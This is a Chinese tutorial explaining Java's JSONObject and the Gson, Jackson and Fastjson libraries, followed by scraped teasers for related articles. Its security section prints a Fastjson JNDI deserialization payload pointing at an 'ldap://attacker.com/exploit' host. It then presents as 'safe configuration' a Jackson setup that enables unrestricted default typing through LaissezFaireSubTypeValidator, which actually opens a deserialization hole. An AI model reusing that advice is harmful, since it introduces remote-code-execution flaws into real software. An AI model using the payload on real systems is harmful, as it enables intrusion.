Java中的JSONObject详解:从基础到高级应用

Java中的JSONObject详解:从基础到高级应用

在当今前后端分离的架构中,JSONObject已成为Java开发者处理JSON数据的瑞士军刀。本文将深入解析JSONObject的核心机制与实战技巧。


一、JSONObject的本质与实现库

1.1 核心定位

JSONObject是Java中表示JSON对象的容器类,其底层采用Map<String, Object>存储数据。主要实现库包括:

  • org.json:轻量级基础库(JSON-Java)
  • Fastjson:阿里高性能库(已退役)
  • Gson:Google官方库
  • Jackson:Spring生态默认库
1.2 核心特性对比
特性org.jsonFastjsonGsonJackson
序列化速度中等极快极快
反序列化安全安全高危漏洞安全安全
内存占用中等中等
流式API××

二、基础操作:四步掌握核心API

2.1 创建与初始化
// 空对象创建
JSONObject obj = new JSONObject();// 链式构造
JSONObject user = new JSONObject().put("id", 1001).put("name", "张三").put("isAdmin", true);// Map初始化
Map<String, Object> data = new HashMap<>();
data.put("email", "zhangsan@example.com");
JSONObject fromMap = new JSONObject(data);
2.2 数据存取
// 安全取值(避免NullPointerException)
String name = user.optString("name", "未知");// 类型转换
int id = user.getInt("id");// 嵌套对象访问
JSONObject address = user.getJSONObject("address");
String city = address.getString("city");
2.3 常用工具方法
// 键存在检查
if(user.has("mobile")) {// 处理手机号
}// 删除字段
user.remove("isAdmin");// 转标准JSON字符串
String jsonStr = user.toString();
2.4 迭代遍历
Iterator<String> keys = user.keys();
while(keys.hasNext()) {String key = keys.next();Object value = user.get(key);System.out.println(key + ": " + value);
}

三、类型转换:Java对象与JSON互转

3.1 JavaBean转JSONObject
// Gson实现
Gson gson = new Gson();
User userObj = new User(1001, "张三");
JSONObject userJson = new JSONObject(gson.toJson(userObj));// Jackson实现
ObjectMapper mapper = new ObjectMapper();
JSONObject userJson = mapper.convertValue(userObj, JSONObject.class);
3.2 JSONObject转JavaBean
// org.json实现
User user = new User();
user.setId(userJson.getInt("id"));
user.setName(userJson.getString("name"));// Gson实现
User user = gson.fromJson(userJson.toString(), User.class);
3.3 复杂类型处理
// 日期格式化
Gson gson = new GsonBuilder().setDateFormat("yyyy-MM-dd HH:mm:ss").create();// 泛型集合转换
List<User> users = gson.fromJson(jsonArray.toString(), new TypeToken<List<User>>(){}.getType()
);

四、高级特性:玩转复杂数据结构

4.1 处理嵌套JSON
JSONObject order = new JSONObject();
order.put("orderNo", "20230815001");// 嵌套对象
JSONObject customer = new JSONObject();
customer.put("name", "李四");
order.put("customer", customer);// 嵌套数组
JSONArray products = new JSONArray();
products.put(new JSONObject().put("name", "iPhone").put("price", 6999));
products.put(new JSONObject().put("name", "AirPods").put("price", 1299));
order.put("products", products);
4.2 JSONPath查询
// Jayway JSONPath 实现
DocumentContext ctx = JsonPath.parse(order.toString());
Double totalPrice = ctx.read("$.products[*].price.sum()");// 修改嵌套值
ctx.set("$.customer.name", "王五");
4.3 流式处理(Jackson)
JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(jsonStr);while(parser.nextToken() != null) {String field = parser.getCurrentName();if("price".equals(field)) {parser.nextToken();double price = parser.getDoubleValue();// 处理价格数据}
}
parser.close();

五、性能优化:关键策略与陷阱规避

5.1 序列化性能对比(10万次操作)
序列化时间反序列化时间内存占用
org.json650ms720ms120MB
Fastjson210ms230ms180MB
Gson380ms410ms150MB
Jackson190ms200ms110MB
5.2 最佳实践
  1. 对象复用:避免频繁创建JSONObject实例

  2. 预分配空间:初始化时预估字段数量

    JSONObject obj = new JSONObject(20); // 初始容量20
    
  3. 选择合适库

    • 高性能场景:Jackson
    • Android开发:Gson
    • 简单工具类:org.json
  4. 避免常见陷阱

    // 错误:JSONObject不实现Serializable
    // 正确:转换为字符串存储
    String jsonStr = obj.toString();// 循环引用导致栈溢出
    obj.put("self", obj); // 禁止!
    

六、安全防护:JSON处理中的雷区

6.1 Fastjson漏洞案例
// 反序列化漏洞触发
String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/exploit\",\"autoCommit\":true}";
JSON.parseObject(maliciousJson); // RCE攻击!
6.2 安全编码规范
  1. 输入过滤

    if(jsonStr.contains("@type")) {throw new SecurityException("危险数据类型!");
    }
    
  2. 使用安全配置(Jackson):

    ObjectMapper mapper = new ObjectMapper();
    mapper.enable(JsonParser.Feature.IGNORE_UNDEFINED);
    mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES);
    mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);
    
  3. 升级策略

    • 定期更新JSON库版本
    • 使用漏洞扫描工具(OWASP Dependency-Check)

七、实战应用场景

7.1 API请求构建
JSONObject request = new JSONObject();
request.put("apiKey", API_KEY);
request.put("timestamp", System.currentTimeMillis());JSONObject params = new JSONObject();
params.put("page", 1);
params.put("size", 20);
request.put("params", params);// 生成签名
String sign = sign(request.toString());
request.put("sign", sign);
7.2 配置文件解析
# config.json
{"database": {"url": "jdbc:mysql://localhost:3306/app","user": "root"},"threadPool": {"coreSize": 10,"maxSize": 50}
}
JSONObject config = new JSONObject(new FileReader("config.json"));
String dbUrl = config.getJSONObject("database").getString("url");
int coreThreads = config.getJSONObject("threadPool").getInt("coreSize");
7.3 数据脱敏处理
public JSONObject maskSensitive(JSONObject data) {JSONObject masked = new JSONObject(data.toString());if(masked.has("idCard")) {String idCard = masked.getString("idCard");masked.put("idCard", idCard.substring(0,3) + "********" + idCard.substring(14));}if(masked.has("mobile")) {String mobile = masked.getString("mobile");masked.put("mobile", mobile.substring(0,3) + "****" + mobile.substring(7));}return masked;
}

八、未来演进:JSON处理新趋势

8.1 JSON5扩展支持
// 支持注释、单引号等特性
{name: '张三', // 用户姓名age: 28,tags: ['程序员', '摄影师'],
}
8.2 JSON Schema验证
// 使用Everit实现
Schema schema = SchemaLoader.load(new JSONObject("{\"type\":\"object\",\"properties\":{\"age\":{\"type\":\"integer\"}}}"
));
schema.validate(userJson); // 验证数据格式
8.3 二进制JSON方案
  • MessagePack:序列化大小比JSON小50%
  • BSON:MongoDB的二进制JSON格式
  • Smile:Jackson的二进制JSON实现

性能实测:在百万级数据场景下,MessagePack的序列化速度比标准JSON快3倍,网络传输体积减少60%。


结语:JSONObject的哲学思考

JSONObject在Java生态中扮演着数据通用语的角色,其价值体现在三个维度:

  1. 结构灵活性:自由嵌套的树形结构
  2. 跨平台性:所有编程语言支持的标准格式
  3. 开发效率:快速实现对象序列化与传输

终极建议

  • 简单场景:优先选用轻量级org.json
  • 高性能要求:选择Jackson或Gson
  • 敏感系统:禁用Fastjson,开启安全配置
  • 大数据量:考虑二进制JSON方案

根据2023年JVM生态调查报告,JSON处理占典型Web应用CPU时间的15%-30%。合理选择JSON库并优化使用方式,可显著提升系统性能。掌握JSONObject不仅是技术需求,更是现代Java开发者的必备素养。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/pingmian/83722.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在 SpringBoot+Tomcat 环境中 线程安全问题的根本原因以及哪些变量会存在线程安全的问题。

文章目录 前言Tomcat SpringBoot单例加载结果分析多例加载&#xff1a;结果分析&#xff1a; 哪些变量存在线程安全的问题&#xff1f;线程不安全线程安全 总结 前言 本文带你去深入理解为什么在web环境中(Tomcat SpringBoot)会存在多线程的问题以及哪些变量会存在线程安全的…

npm install 相关命令

npm install 相关命令 基本安装命令 # 安装 package.json 中列出的所有依赖 npm install npm i # 简写形式# 安装特定包 npm install <package-name># 安装特定版本 npm install <package-name><version>依赖类型选项 # 安装为生产依赖&#xff08;默认&…

贪心算法应用:最小反馈顶点集问题详解

贪心算法应用&#xff1a;最小反馈顶点集问题详解 1. 问题定义与背景 1.1 反馈顶点集定义 反馈顶点集(Feedback Vertex Set, FVS)是指在一个有向图中&#xff0c;删除该集合中的所有顶点后&#xff0c;图中将不再存在任何有向环。换句话说&#xff0c;反馈顶点集是破坏图中所…

BiliNote部署实践

​ 开源地址&#xff1a; https://github.com/JefferyHcool/BiliNote &#x1f680; 快速开始 1. 克隆仓库 git clone https://github.com/JefferyHcool/BiliNote.git cd BiliNote mv .env.example .env2. 启动后端&#xff08;FastAPI&#xff09; cd backend pip insta…

用go从零构建写一个RPC(4)--gonet网络框架重构+聚集发包

在追求高性能的分布式系统中&#xff0c;RPC 框架的底层网络能力和数据传输效率起着决定性作用。经过几轮迭代优化&#xff0c;我完成了第四版本的 RPC 框架。相比以往版本&#xff0c;这一版本的最大亮点在于 重写了底层网络框架 和 实现了发送端的数据聚集机制&#xff0c;这…

MySQL 高可用基石 - 复制监控与常见 HA 方案

MySQL 高可用基石 - 复制监控与常见 HA 方案 MySQL 复制核心原理 MySQL 复制允许数据从一个 MySQL 数据库服务器(称为主库 - Primary,旧称 Master)复制到一个或多个其他的 MySQL 服务器(称为从库 - Replica,旧称 Slave)。 复制的主要目的: 高可用性 (High Availability…

微信小程序(uniapp)自定义 TabBar

微信小程序&#xff08;uniapp&#xff09;自定义 TabBar 实现指南 在微信小程序开发中&#xff0c;TabBar 是底部导航栏的重要组件&#xff0c;但官方提供的 TabBar 样式和功能较为基础&#xff0c;无法满足所有项目的需求。本文将详细介绍如何在 uniapp 中实现自定义 TabBar…

MLP实战二:MLP 实现图像数字多分类

任务 实战&#xff08;二&#xff09;&#xff1a;MLP 实现图像多分类 基于 mnist 数据集&#xff0c;建立 mlp 模型&#xff0c;实现 0-9 数字的十分类 task: 1、实现 mnist 数据载入&#xff0c;可视化图形数字&#xff1b; 2、完成数据预处理&#xff1a;图像数据维度转换与…

BUUCTF[HCTF 2018]WarmUp 1题解

BUUCTF[HCTF 2018]WarmUp 1题解 分析解题过程代码审计主体函数CHECK函数&#xff1a; 构造payload 总结 分析 启动靶机&#xff0c;进入网址&#xff0c;是一张滑稽的表情包&#xff1a; 程序化F12查看源码&#xff1a; 发现注释内容&#xff0c;访问 url:/source.php得到…

大陆4D毫米波雷达ARS548调试

本文介绍了大陆ARS548毫米波雷达的调试与测试流程&#xff0c;主要包括以下内容&#xff1a; 设备参数&#xff1a;最大检测距离301m&#xff08;可调93-1514m&#xff09;&#xff0c;支持gPTP时间同步。 接线调试&#xff1a; Windows需使用USB-RJ45转换器 Linux可直接连接网…

TDengine 的 AI 应用实战——运维异常检测

作者&#xff1a; derekchen Demo数据集准备 我们使用公开的 NAB数据集 里亚马逊 AWS 东海岸数据中心一次 API 网关故障中&#xff0c;某个服务器上的 CPU 使用率数据。数据的频率为 5min&#xff0c;单位为占用率。由于 API 网关的故障&#xff0c;会导致服务器上的相关应用…

并发编程 - go版

1.并发编程基础概念 进程和线程 A. 进程是程序在操作系统中的一次执行过程&#xff0c;系统进行资源分配和调度的一个独立单位。B. 线程是进程的一个执行实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。C.一个进程可以创建和撤销多个线程;同一个进程中…

《一生一芯》数字实验三:加法器与ALU

1. 实验目标 设计一个能实现如下功能的4位带符号位的 补码 ALU&#xff1a; Table 4 ALU 功能列表  功能选择 功能 操作 000 加法 AB 001 减法 A-B 010 取反 Not A 011 与 A and B 100 或 A or B 101 异或 A xor B 110 比较大小 If A<B then out1…

解读《网络安全法》最新修订,把握网络安全新趋势

《网络安全法》自2017年施行以来&#xff0c;在维护网络空间安全方面发挥了重要作用。但随着网络环境的日益复杂&#xff0c;网络攻击、数据泄露等事件频发&#xff0c;现行法律已难以完全适应新的风险挑战。 2025年3月28日&#xff0c;国家网信办会同相关部门起草了《网络安全…

Java并发编程实战 Day 10:原子操作类详解

【Java并发编程实战 Day 10】原子操作类详解 开篇 这是“Java并发编程实战”系列的第10天&#xff0c;我们将深入探讨原子操作类的核心技术——CAS原理、ABA问题以及原子类的实现机制。通过理论结合代码实践的方式&#xff0c;帮助读者理解并掌握如何在实际工作中高效使用原子…

瀚文机械键盘固件开发详解:HWKeyboard.h文件解析与应用

【手把手教程】从零开始的机械键盘固件开发&#xff1a;HWKeyboard.h详解 前言 大家好&#xff0c;我是键盘DIY爱好者Despacito0o&#xff01;今天想和大家分享我开发的机械键盘固件核心头文件HWKeyboard.h的设计思路和技术要点。这个项目是我多年来对键盘固件研究的心血结晶…

2048游戏的技术实现分析-完全Java和Processing版

目录 简介Processing库基础项目构建指南项目结构核心数据结构游戏核心机制图形界面实现性能优化代码详解设计模式分析测试策略总结与展望简介 2048是一款由Gabriele Cirulli开发的经典益智游戏。本文将深入分析其Java实现版本的技术细节。该实现使用了Processing库来创建图形界…

Spring Boot + Elasticsearch + HBase 构建海量数据搜索系统

Spring Boot Elasticsearch HBase 构建海量数据搜索系统 &#x1f4d6; 目录 1. 系统需求分析2. 系统架构设计3. Elasticsearch 与 HBase 集成方案4. Spring Boot 项目实现5. 大规模搜索系统最佳实践 项目概述 本文档提供了基于 Spring Boot、Elasticsearch 和 HBase 构建…

【iOS】YYModel源码解析

YYModel源码解析 文章目录 YYModel源码解析前言YYModel性能优势YYModel简介YYClassInfo解析YYClassIvarInfo && objc_ivarYYClassMethodInfo && objc_methodYYClassPropertyInfo && property_tYYClassInfo && objc_class YYClassInfo的初始化细…

宇树科技更名“股份有限公司”深度解析:机器人企业IPO前奏与资本化路径

从技术落地到资本跃迁&#xff0c;拆解股改背后的上市逻辑与行业启示 核心事件&#xff1a;股改释放的上市信号 2025年5月28日&#xff0c;杭州宇树科技有限公司正式更名“杭州宇树科技股份有限公司”&#xff0c;市场主体类型变更为“股份有限公司”。尽管官方称为常规运营调…